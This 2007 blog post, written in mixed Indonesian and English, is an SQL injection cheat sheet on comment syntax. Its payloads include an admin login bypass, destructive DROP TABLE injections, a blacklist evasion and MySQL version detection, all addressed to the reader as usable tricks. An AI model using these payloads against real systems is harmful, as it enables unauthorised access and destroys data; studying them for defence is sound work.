Friday, May 11, 2007

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

I. Line Comments
Comments out rest of the query.
Line comments biasanya berguna banget buat meng'ignore' sisa dari pernyataan query, jadi kamu ga usah pusing pusing lagi buat ngakhirin syntaxnya.
Cara-caranya antara lain :

1. -- (SM)
DROP sampletable;--

2. # (M)
DROP sampletable;#

*Contoh SQL Injection Attacks menggunakan Line Comments

1. Username: admin'--

2. SELECT * FROM members WHERE username = 'admin'--' AND password ='password'
Ini memungkinkan kamu dapat login sebagai user admin, karena SQL query yang terakhir akan di'ignore', yaitu pada SQL AND password ='password'


II. Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

1. /*Comment Here*/ (SM)

* DROP/*comment*/sampletable
* DR/**/OP/*bypass blacklisting*/sampletable
* SELECT/*avoid-spaces*/password/**/FROM/**/Members

2. /*! MYSQL Special SQL */ (M)
Ini merupakan syntax comment spesial di dalam MySQL. Ini berguna untuk mendetect versi MySQL. Kalo kamu masukin kode kedalam comment tersebut maka kode tersebut akan dieksekusi hanya di dalam MySQL saja. Kamu juga bisa menggunakan cara tersebut untuk mengeksekusi beberapa kode tetapi jika versi servernya lebih besar daripada versi yang tersedia.

SELECT /*!32302 1/0, */ 1 FROM tablename

*Contoh SQL Injection Attacks menggunakan Classical Inline Comment

1. ID: 10; DROP TABLE members /*
Dengan cara ini dengan mudah kamu dapat menghilangkan SQL query yang lain pada baris query terakhir. Atau dapat juga dilakukan dengan menggunakan 10; DROP TABLE members --

2. SELECT /*!32302 1/0, */ 1 FROM tablename
Dengan cara ini kamu dapat membuang sebagian dari query dengan nilai error sama dengan 0 jika versi MySQL lebih besar dari 3.23.02

*Contoh MySQL Version Detection Attacks

1. ID: /*! 32302 10 */

2. ID: 10
Kamu akan melihat response yang sama jika versi MySQL lebih besar dari 3.23.02

3. SELECT /*!32302 1/0, */ 1 FROM tablename
Dengan cara ini kita dapat membuang sebagian dari query dengan nilai error sama dengan 0 jika versi MySQL lebih besar dari 3.23.02


*Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

No comments: